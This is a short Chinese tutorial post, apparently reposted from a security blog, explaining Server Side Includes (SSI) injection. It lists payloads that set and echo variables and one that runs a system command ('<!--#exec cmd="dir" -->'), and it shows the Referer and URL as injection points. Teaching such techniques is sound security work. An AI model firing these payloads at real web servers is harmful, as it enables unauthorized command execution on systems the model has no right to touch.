ssi注入

原文链接:http://wyb0.com/posts/ssi-injection/

0x00 SSI

SSI (Server Side Includes)是HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。

在很多场景中,用户输入的内容可以显示在页面中,一个存在反射XSS漏洞的页面,如果输入的payload不是xss代码而是ssi的标签,服务器又开启了ssi支持的话就会存在SSI漏洞

若注入点在url中则可能需要进行url编码

0x01 payload

"-->'-->`--><!--#set var="a" value="123"--><!--#set var="b" value="654"--><!--#echo var="a"--><!--#echo var="b"-->

<!--#echo var="DATE_LOCAL" -->

<!--#exec cmd="dir" -->

0x02 示例

  • Referer被输出到了页面中


    图片.png
  • url中的数据被输出到页面中(有时候url中的payload需要url编码)


    图片.png
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 之前积累了XSS 有一段时间,因为目前开始了一件有趣的工程,需要整合非常多的知识,其中Web 安全这一块出现最多的...
    刀背藏身阅读 13,091评论 0 16
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 135,534评论 19 139
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 13,533评论 2 22
  • “呼,呼,呼……可恶,早知道这样,还不如被执行死刑呢!”黑若站在一个被毁的城堡前,喘着气。“毁掉这个……就结束了吧...
    绝望少年阅读 3,251评论 0 1
  • 不知道是不是我多虑了,还是间隔太久了,突然感觉其实我们并没有想想象中的那么深刻,发现我们之间的话变少了,心里总是瞒...
    阿立立哥阅读 812评论 0 0